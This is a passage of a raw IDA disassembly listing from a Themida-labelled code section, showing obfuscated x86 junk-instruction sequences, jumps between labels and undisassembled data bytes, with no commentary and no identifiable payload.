		dd 27E9243Ch, 89FFFF00h, 4C281E2h, 83000000h, 0BAE904C2h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521737:				; CODE XREF: Themida_:00523A9Dj
		or	eax, eax
		jnz	loc_5100C6
		push	1
		jmp	loc_5158CE
; ---------------------------------------------------------------------------

loc_521749:				; CODE XREF: Themida_:005194B7j
		mov	dh, bh
		push	ebx
		push	eax
		mov	ah, dh
		push	ecx
		mov	cl, ah
		mov	bl, cl
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	dl, bl
		mov	ah, dl
		pop	edx
		mov	ebx, [esp]
		jmp	loc_5228B1
; ---------------------------------------------------------------------------
		db 0B9h, 0D0h, 3Bh
		dd 68E94FAEh, 83FFFFA4h, 0F65904C4h, 0BFBE9DEh,	15AFFFFh
		dd 0F938E9C2h, 0E951FFFFh, 0FFFF64A4h, 2414F753h, 0FFEB40E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521799:				; CODE XREF: Themida_:0051F064j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_51815D
; ---------------------------------------------------------------------------
		dd 0EB81FB01h, 0A4D440Ch, 2028C381h, 3C8B5E65h,	52BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5217BA:				; CODE XREF: Themida_:00511456j
		pop	eax
		sub	bl, ch
		add	bl, 0BAh
		pop	ecx
		jmp	loc_513BA3
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FEEBF4E9h, 81EB01FFh, 0D1220EC3h, 4FC38153h, 5D02994Eh
		dd 560D6851h, 1590B04h,	0F3BDE9CBh, 0E1C1FFFEh,	4EC8305h
		dd 0BD242C89h, 85E683Ah, 8102EDC1h, 226937C5h, 0E9E92124h
		dd 0FFFF9A8Eh
; ---------------------------------------------------------------------------

loc_52180C:				; CODE XREF: Themida_:00514F35j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1D933523h
		xor	ecx, 29B60A2Ch
		jmp	loc_514CD4
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0A3h
		dd 50618134h, 0FFCB80E9h, 148B66FFh, 2C48324h, 0D800BB2Ch
		dd 5152BB04h, 0EE88BAB5h, 0FEC6FE59h, 3FB753C6h, 8092CF80h
		dd 0EF8001EFh, 5BFE2834h, 2454F652h, 50535A01h,	0ABB7B1B4h
		dd 3058E730h, 7685BFEh,	89000073h, 69B3241Ch, 6605EBC0h
		dd 0E91DB252h, 0FFFEE329h, 43505268h, 0CD815D0Dh, 6A8517C8h
		dd 1A6FE581h, 0B85042E4h, 1A2F0584h, 58781D25h,	25503552h
		dd 0E8C17300h, 7E0C108h, 0FFD345E9h, 8E0C1FFh, 8F4BCE2Dh
		dd 2DE0D14Fh, 67663FC4h, 0FF5537E9h, 5DC368FFh,	0C890000h
		dd 6B456824h, 32E97ADEh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5218D3:				; CODE XREF: Themida_:00516141j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_517348
; ---------------------------------------------------------------------------

loc_5218DE:				; CODE XREF: Themida_:005243C8j
		push	edi
		add	dword ptr [esp], 1
		pop	edi
		add	edi, 0FFFFFFFFh
		push	edx
		mov	edx, 690A4E52h
		or	edx, 1EBD7C8Ah
		sub	edx, 280D0207h
		xor	edx, 699213AAh
		dec	edx
		push	6803h
		jmp	loc_514370
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 4EC8300h, 0FF240C89h, 59042474h, 0E924048Fh
		dd 0FFFFACFCh
; ---------------------------------------------------------------------------

loc_52192C:				; CODE XREF: Themida_:00513E01j
		add	esp, 4
		jmp	loc_5147D8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 681CB753h, 5135h, 51240489h,	0E6B431B1h, 2059CC28h
		dd 0CFFE58E7h, 873F780h, 241C8BFDh, 8104C483h, 4ECh, 241C8900h
		dd 5166B8B7h, 0FF5E01E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_52196D:				; CODE XREF: Themida_:0051B90Dj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_522E26
; ---------------------------------------------------------------------------

loc_521979:				; CODE XREF: Themida_:00510692j
		mov	ebx, ecx
		pop	ecx
		mov	ebp, 0CD523CF0h
		add	ebp, 4CFF60C6h
		sub	ebp, 38AE3526h
		add	ebp, ebx
		add	ebp, 38AE3526h
		sub	ebp, 4CFF60C6h
		pop	ebx
		push	ecx
		jmp	loc_5161A7
; ---------------------------------------------------------------------------

loc_5219A2:				; CODE XREF: Themida_:00517350j
		push	ebp
		push	edx
		jmp	loc_51FEC3
; ---------------------------------------------------------------------------
		db 66h,	68h, 73h
		dd 66546637h, 6624048Fh, 2BB6653h, 5C016600h, 3E90224h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5219C3:				; CODE XREF: Themida_:00522E28j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5C9059CFh
		sub	eax, 5C9059CBh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 7305B3Fh
		push	ebx
		mov	ebx, 36E21556h
		add	ebx, 43737DBh
		dec	ebx
		push	edx
		mov	edx, 71F23734h
		or	ebx, edx
		pop	edx
		shl	ebx, 7
		sub	ebx, 0A30B416Bh
		add	edi, ebx
		pop	ebx
		jmp	loc_5207B4
; ---------------------------------------------------------------------------

loc_521A2B:				; CODE XREF: Themida_:00513FC0j
		add	[edi+24h], ecx
		mov	ecx, [esp]
		push	12Eh
		jmp	loc_514430
; ---------------------------------------------------------------------------
		db 0F6h
		dd 66DC88D3h, 76EC805Bh, 0FF202FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521A49:				; CODE XREF: Themida_:0051A0FFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_51AC42
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 18E95A04h, 56FFFFA9h, 0FEEEE8E9h, 405FFh, 4870000h
		dd 0CEE95C24h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521A7B:				; CODE XREF: Themida_:0051E17Fj
		mov	ecx, esp
		jmp	loc_512D14
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0E6E95C24h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521A8B:				; CODE XREF: Themida_:00520207j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5204E8
; ---------------------------------------------------------------------------

loc_521A9F:				; CODE XREF: Themida_:005249FFj
		pop	esp
		jmp	loc_520CF6
; ---------------------------------------------------------------------------

loc_521AA5:				; CODE XREF: Themida_:0051AF91j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_517F37
; ---------------------------------------------------------------------------
		dw 0DFB9h
		dd 0E94C3B55h, 0FFFF9354h, 240C8966h, 9E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_521AC1:				; CODE XREF: Themida_:0051BDD0j
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		sub	esp, 4
		jmp	loc_521FFA
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 289B3EDEh, 3A01EF81h, 7CE93BCEh, 33FFFEFDh, 248B241Ch
		dd 50E9F724h, 45685854h, 89000001h, 36E9243Ch, 89FFFFB7h
		dd 0F05FE9E2h, 34FFFFFFh, 89575A24h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0FF7DB4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521B2D:				; CODE XREF: Themida_:0051FCDFj
		inc	ebx
		jmp	loc_513869
; ---------------------------------------------------------------------------
		db 52h
		dd 54E9C1B6h, 5BFFFFF5h, 98E9EB29h, 5F000014h, 148BD701h
		dd 4C48124h, 33000000h,	3C31243Ch, 0C830E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521B5A:				; CODE XREF: Themida_:0051EF1Cj
		not	dword ptr [esp]
		pop	edx
		dec	edx
		sub	edx, 2EE11957h
		add	edx, 0FD73D47h
		jmp	loc_520DF8
; ---------------------------------------------------------------------------
		dd 9C240401h, 0FEDB93E9h, 68E955FFh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_521B7F:				; CODE XREF: Themida_:00512000j
		or	edx, 68BA612Fh
		push	esi
		mov	esi, 2B494233h
		jmp	loc_523994
; ---------------------------------------------------------------------------
		dd 285BFB2Ch, 664204E8h, 4632C59h, 28B00449h, 4658E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521BA6:				; CODE XREF: Themida_:00518CF2j
		pop	esp
		jmp	loc_51BFDA
; ---------------------------------------------------------------------------
		dd 26E95B66h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521BB3:				; CODE XREF: Themida_:0051AE5Bj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	3E56h
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	27E4h
		jmp	loc_51E483
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0F2h
		dd 31504C0Bh, 24348BF0h, 4C481h, 0BC2D0000h, 5342A38h
		dd 0FFFFFFFFh, 4004E8C1h, 0E1EBBA52h, 0D0290244h, 0FFC3015Ah
		dd 83582434h, 12E904C4h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521C27:				; CODE XREF: Themida_:005205CAj
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	3CC6h
		mov	[esp], ebp
		push	ebx
		jmp	loc_5236A4
; ---------------------------------------------------------------------------
		db 59h
		dd 0EF81CF01h, 0F696AC0h, 243C3359h, 20DCE9h
		db 0
; ---------------------------------------------------------------------------

loc_521C4D:				; CODE XREF: Themida_:0051B416j
		add	eax, 70D40611h
		sub	eax, 12E84B29h
		push	dword ptr [eax]
		push	404Bh
		mov	[esp], ebp
		mov	ebp, 3AD9109Dh
		push	eax
		mov	eax, 0EEA382Bh
		sub	dword ptr [esp+8], 4702558Fh
		sub	[esp+8], eax
		add	dword ptr [esp+8], 4702558Fh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5143B8
; ---------------------------------------------------------------------------
		db 81h
		dd 567133C3h, 8BC38123h, 566E457Fh, 0FEFDCFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521C9D:				; CODE XREF: Themida_:00523BD1j
		and	eax, ebp
		jmp	loc_51B27D
; ---------------------------------------------------------------------------
		dd 71F5E981h, 51E94161h, 0FFFFFFA6h, 34FF2434h,	3D4FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521CBA:				; CODE XREF: Themida_:0052066Cj
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_519062
; ---------------------------------------------------------------------------
		dd 0FEDA3FE9h, 815B54FFh, 4C3h,	4C38100h, 87000000h, 5B5C241Ch
		dd 0FF2889E9h, 4C481FFh, 0E9000000h, 0FFFFFF9Bh, 4C481h
		dd 48F0000h, 0BE565C24h, 2FA1684Dh, 0E902E6C1h,	15Ch, 5C242C33h
		dd 240C8B66h, 3D5B68h, 24348900h, 0FFD870E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521D1D:				; CODE XREF: Themida_:005147DEj
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 3473110Bh
		inc	edx
		add	edx, 0CB8CEEF8h
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	eax
		push	edi
		push	567E0633h
		pop	edi
		or	edi, 9296901h
		shr	edi, 8
		sub	edi, 78544F37h
		sub	edi, 6B710888h
		mov	eax, edi
		pop	edi
		jmp	loc_51267B
; ---------------------------------------------------------------------------

loc_521D76:				; CODE XREF: Themida_:00513400j
		mov	ecx, 50E3337Eh
		jmp	loc_523D7C
; ---------------------------------------------------------------------------
		dd 7F8BEB81h, 0EB816E45h, 23567133h, 6436BF57h,	0CAE968A2h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521D97:				; CODE XREF: Themida_:0051F176j
		pop	dword ptr [esp]
		pop	esp
		push	3AC1h
		jmp	loc_52200E
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F7h
		dd 89668706h, 243C8BFAh, 0FFA85EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521DB5:				; CODE XREF: Themida_:005230F9j
		sub	edx, 7AB96EAEh
		sub	edx, ecx
		add	edx, 7AB96EAEh
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5199C5
; ---------------------------------------------------------------------------

loc_521DD7:				; CODE XREF: Themida_:0051A8EEj
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 85086CBEh, 5EF5890Ch, 0D0229DB9h, 0E9E9311Eh, 0FFFFEE83h
		dd 31242C33h, 2C33242Ch, 95E95C24h, 8BFFFF05h, 0E8E9241Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_521E07:				; CODE XREF: Themida_:005232B8j
		push	dword ptr [esp]
		jmp	loc_51A59F
; ---------------------------------------------------------------------------

loc_521E0F:				; CODE XREF: Themida_:00510B58j
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2E6B7C21h
		add	ecx, 0D19483E3h
		add	edi, ecx
		pop	ecx
		jmp	loc_51E09E
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 6Ch
		dd 666E0424h, 8FE91045h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521E37:				; CODE XREF: Themida_:00510174j
		push	35A6h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		jmp	loc_5178EA
; ---------------------------------------------------------------------------
		dd 814EEED1h, 0F5DF13F6h, 8BF1011Ch, 0C4812434h, 4, 9FE68h
		dd 24348900h, 61BD5557h, 0E905F030h, 0FFFF2CC6h, 0E92434FFh
		dd 268Ah
; ---------------------------------------------------------------------------

loc_521E94:				; CODE XREF: Themida_:0051774Cj
		shl	eax, 7
		jmp	loc_51EC93
; ---------------------------------------------------------------------------
		dd 31242C33h, 2C33242Ch, 0BA525C24h, 1046112Bh,	0FF4CBAE9h
		dd 243C89FFh, 723F68h, 57DE900h, 0EEC1FFFFh, 4EC8106h
		dd 89000000h, 71B9240Ch, 17C2B25h, 40E959CEh
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_521ED7:				; CODE XREF: Themida_:0051A172j
		push	ecx
		jmp	loc_511BFE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C681h, 28E90000h, 81FFFF49h, 4C5h, 4C58100h, 87000000h
		dd 0E95C242Ch, 0FFFF1268h, 5DE9095Fh, 8AFE952h,	0C4810000h
		dd 4, 0FED917E9h, 3FA8B8FFh, 0BD551BA9h, 6D012C66h, 8107EDC1h
		dd 0EE4C24C5h, 4608E95Dh, 2C89FFFFh, 68E58924h,	6BA5h
		dd 0E9240489h, 0FFFEF9E6h
; ---------------------------------------------------------------------------

loc_521F40:				; CODE XREF: Themida_:0051645Dj
		push	esi
		mov	esi, 557B7D4Dh
		or	ebx, esi
		pop	esi
		not	ebx
		push	edx
		mov	edx, 7AE86CF1h
		xor	ebx, edx
		pop	edx
		mov	ebp, ebx
		pop	ebx
		jmp	loc_51F056
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E389241Ch, 4C381h, 0EB830000h, 84E95304h
		dd 66FFFFA3h, 6824048Bh, 1C30h,	54240489h, 17296858h, 53E90000h
		dd 89FFFFF6h, 4C181E1h,	83000000h, 0C8704C1h, 0FDE95C24h
		dd 81FFFFFEh, 19431AE1h, 5EE9410Ch, 81FFFF4Ch, 135D61F2h
		dd 3F09E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521FB6:				; CODE XREF: Themida_:0051F601j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_523018
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0D0F7FFE8h, 70C968h,	241C8900h, 33EDBF57h, 0FB894454h
		dd 4ABE565Fh, 81687B43h, 7A856BEEh, 6735E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521FFA:				; CODE XREF: Themida_:00521ADDj
		mov	[esp], edi
		push	ecx
		mov	ecx, 136B573Eh
		or	ecx, 6BEB77A0h
		jmp	loc_5111A6
; ---------------------------------------------------------------------------

loc_52200E:				; CODE XREF: Themida_:00521DA0j
		mov	[esp], edi
		jmp	loc_51273E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 24248B24h, 0FE7CE957h,	4B8FFFEh
		dd 1000000h, 0BD5558C7h, 4, 6F92EF81h, 0FDE97A2Ah, 4FFFF9Bh
		dd 58C2007Ah, 4BC280h, 4BEA80DAh, 0D4B45051h, 0E53076B5h
		dd 0FF11AFE9h, 5FFE89FFh, 4F96E953h, 0E950FFFFh, 0FFFF6444h
; ---------------------------------------------------------------------------

loc_522070:				; CODE XREF: Themida_:005106CCj
					; Themida_:0051465Bj
		push	ebx
		push	ebx
		mov	ebx, 320954ADh
		jmp	loc_524BCA
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 31241433h, 14332414h,	7CE95C24h
		dd 1FFFF85h, 5D04246Ch,	0FF33BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5220A1:				; CODE XREF: Themida_:00515A6Fj
		push	0E07h
		mov	[esp], ecx
		mov	cl, 35h
		sub	bl, cl
		pop	ecx
		jmp	loc_518067
; ---------------------------------------------------------------------------
aXhx9		db 'Xh•9',0
		dd 24048900h, 0FF02EEE9h, 4BB53FFh, 1000000h, 75DAE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5220CE:				; CODE XREF: Themida_:00511BF9j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_51CAC6
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0E5h
		dd 1DB7BFBh, 34EEE9EAh,	555CFFFFh, 9866F8BDh, 24448121h
		dd 2D33E104h, 246C814Ch, 0EA267404h, 246C813Ch,	3A335F04h
		dd 246C817Dh, 964FD304h, 246C0168h, 24448104h, 964FD304h
		dd 24448168h, 3A335F04h, 1585E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52212E:				; CODE XREF: Themida_:0051BD89j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_520495
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E94A06EAh, 0FFFF6E77h, 0B804E828h, 0FF4DB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_52214D:				; CODE XREF: Themida_:0051631Ej
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5187B5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 685E2434h, 1790h, 0FEF345E9h, 1DC381FFh, 56422D51h
		dd 23FA2BEh, 0C625E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522176:				; CODE XREF: Themida_:00521577j
		and	ecx, edi
		pop	edi
		jmp	loc_5106C7
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 66E1F624h, 66CCB60Fh, 660B5868h, 66240C89h, 0E9C8B60Fh
		dd 0E29h, 0E189515Dh, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0CF376505h, 0CBC4E91Ah, 0F088FFFFh, 58C2885Ah, 0FEF5A2E9h
		dd 77E005FFh, 0D0F75DD0h, 9E333E2Dh, 0DC18113h,	0E9740D48h
		dd 622h, 8324148Bh, 1C3304C4h, 241C3124h, 8B241C33h, 0B2E92424h
		dd 81FFFF32h, 672BD5CEh, 16F6811Bh, 8105713Dh, 0F52514C6h
		dd 0EBE68126h, 0E979AD3Eh, 0FFFFC395h, 8B78C781h, 0FD293E16h
		dd 5730685Fh, 34890000h, 5159BE24h, 814E728Ah, 7FDEA6F6h
		dd 8BF501ADh, 0C4832434h, 0EC835004h, 243C8904h, 0FEE2B1E9h
		dd 39E95AFFh, 35FFFFFEh, 0B83BBE4Bh, 5358C629h,	0D989F389h
		dd 53241C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	70C7E924h
		dd 3487FFFFh, 0FAE95C24h, 89FFFED8h, 4C781E7h, 0E9000000h
		dd 0FFFF43D8h, 6EFF68ACh, 0C890000h, 49486824h,	0A8E90000h
		dd 5DFFFF28h, 0FFCE87E9h, 5EF001FFh, 8E34102Dh,	5F8016Ch
		dd 6C8E3410h, 1A60E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5222AE:				; CODE XREF: Themida_:0051D349j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_514773
; ---------------------------------------------------------------------------

loc_5222BA:				; CODE XREF: Themida_:00523B0Dj
		push	52CFh
		mov	[esp], ecx
		push	esi
		mov	esi, 6A43678h
		sub	esp, 4
		jmp	loc_512A3E
; ---------------------------------------------------------------------------

loc_5222D3:				; CODE XREF: Themida_:00514481j
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		sub	eax, 0D4C4067h
		push	6A6Fh
		mov	[esp], ecx
		mov	ecx, 0FFFFh
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	1C57h
		jmp	loc_51AB72
; ---------------------------------------------------------------------------

loc_52230A:				; CODE XREF: Themida_:00519010j
		add	ecx, 0CBB239D1h
		or	ebp, ecx
		pop	ecx
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_51DE9E
; ---------------------------------------------------------------------------

loc_52231C:				; CODE XREF: Themida_:005208E4j
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_523E01
; ---------------------------------------------------------------------------
		dw 830Dh
		dd 0E9410804h, 0FFFED9AEh
; ---------------------------------------------------------------------------

loc_52233C:				; CODE XREF: Themida_:00513B43j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_51E69C
; ---------------------------------------------------------------------------
		dw 8851h
		dd 590888F9h, 50241C8Bh, 4055854h, 5000000h, 4,	0E9240487h
		dd 0FFFED406h, 8B240C87h, 1C892424h, 49276824h,	8F540000h
		dd 0BE562404h, 4, 0FFC93EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522391:				; CODE XREF: Themida_:0052476Dj
		neg	ecx
		push	edi
		mov	edi, 7A3859AAh
		add	ecx, edi
		pop	edi
		sub	ecx, 6AFCE447h
		mov	esi, 93F13BCDh
		sub	esi, ecx
		pop	ecx
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_511CFE
; ---------------------------------------------------------------------------

loc_5223BA:				; CODE XREF: Themida_:0051C51Bj
		xchg	ebp, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 8324048Bh, 885204C4h, 9C6850EEh, 8900001Ch, 8853240Ch
		dd 0FFFD88F7h, 815B2434h, 4C4h,	59EC8800h, 0B7E9E788h
		dd 0FFFFE5h, 9E17E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522402:				; CODE XREF: Themida_:00519946j
		shr	eax, 1
		push	eax
		push	ebx
		jmp	loc_51366E
; ---------------------------------------------------------------------------
		db 29h
		dd 3FD6E9D6h, 5E54FFFFh, 0D3768h, 240C8900h, 9A4932B9h
		dd 57DAE963h, 0ECC0FFFFh, 0AE95306h, 88FFFF20h,	33E958C5h
		dd 81FFFFFCh, 0EEAB6C3h, 6358E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522442:				; CODE XREF: Themida_:00513655j
		pop	ecx
		add	bl, 0D5h
		sub	bl, dl
		sub	bl, 0D5h
		jmp	loc_517687
; ---------------------------------------------------------------------------
		dd 0E905E3C1h, 0FFFF8563h, 4C18159h, 53000000h,	45EBE56h
		dd 0BBB0F66h, 81403B10h, 925A31C3h, 9001E953h, 8B50FFFFh
		dd 0C481242Ch, 4, 0FF8BAAE9h, 2426BAFFh, 0E281101Ah, 5E117730h
		dd 2414F752h, 8324148Bh, 0C28104C4h, 7F3745CCh,	0FF7A62E9h
		dd 2EC81FFh, 66000000h,	66243C89h, 81240C8Bh, 2C4h, 3C8B6600h
		dd 2C48324h, 240C3166h,	240C3366h, 240C3166h, 0FED23BE9h
		dd 4BEFFh, 0F0010000h, 42D5Eh, 84680000h, 8900003Eh, 74FF2404h
		dd 42E90424h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5224EF:				; CODE XREF: Themida_:00514B17j
		push	esp
		pop	edx
		push	esi
		jmp	loc_51EAAD
; ---------------------------------------------------------------------------

loc_5224F7:				; CODE XREF: Themida_:0051833Bj
		pop	ecx
		add	ecx, 54E5D5CBh
		mov	ebx, ecx
		jmp	loc_5192A0
; ---------------------------------------------------------------------------
		db 59h,	81h, 0E9h
		dd 5D824335h, 7F97C981h, 0E98373DEh, 0EF181FFh,	897E647Dh
		dd 0CD8159CDh, 798131D3h, 3DE3ED81h, 0A1680702h, 89000002h
		dd 0DBB9240Ch, 4140A177h, 0F60E9h
		db 0
; ---------------------------------------------------------------------------

loc_52253D:				; CODE XREF: Themida_:005138ECj
		add	dword ptr [esp], 5EFC2C68h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	32CAh
		mov	[esp], edx
		mov	edx, 12736620h
		push	68ACh
		jmp	loc_51ABD1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 2730h
; ---------------------------------------------------------------------------

loc_522574:				; CODE XREF: Themida_:0051DAEEj
		sub	ebx, 0E6B2EDF3h
		add	ebp, 34F02522h
		add	ebp, ebx
		sub	ebp, 34F02522h
		pop	ebx
		push	eax
		mov	eax, 69136C86h
		push	ecx
		jmp	loc_519567
; ---------------------------------------------------------------------------

loc_522595:				; CODE XREF: Themida_:00521243j
		push	edx
		jmp	loc_524861
; ---------------------------------------------------------------------------
		db 50h
		dd 0FA89585Fh, 6948E95Fh, 0C681FFFFh, 57AC3C0Dh, 9C1C681h
		dd 0D8E915E1h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5225B7:				; CODE XREF: Themida_:00510413j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_520715
; ---------------------------------------------------------------------------
		db 87h
		dd 34E92434h, 81FFFF46h, 4C2h, 31BD5500h, 0E9332358h, 2130h
; ---------------------------------------------------------------------------

loc_5225E0:				; CODE XREF: Themida_:005204B2j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_51FD65
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 1F57E9h, 0E9DE3100h, 0FFFFD710h, 4C48358h, 8B24048Fh
		dd 68522424h, 4946h, 24048F54h,	4240481h, 5A000000h, 0FEE691E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522621:				; CODE XREF: Themida_:0051FDA8j
		push	4C23272Dh
		mov	ebp, [esp]
		jmp	loc_520960
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1C8BDE01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		jmp	loc_514378
; ---------------------------------------------------------------------------
		dd 0E6C00CB6h, 3EEC008h, 0FF4C6EE9h, 2B9FFh, 0C8010000h
		dd 592434FFh, 8904EC83h, 5954240Ch, 4C8F68h, 242C8900h
		dd 0FFC323E9h, 0B2CD81FFh, 0E916FC14h, 0DC9h, 5BE9D889h
		dd 31FFFF6Dh, 3C33243Ch, 8192E924h, 835FFFFFh, 0FF5202C2h
		dd 5A042474h, 0E924048Fh, 0FFFF3AA3h, 2C181h, 0CE90000h
		dd 0C1FFFF02h, 0F28102EAh, 76F15833h, 0C5E9DAF7h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5226CB:				; CODE XREF: Themida_:0051BF32j
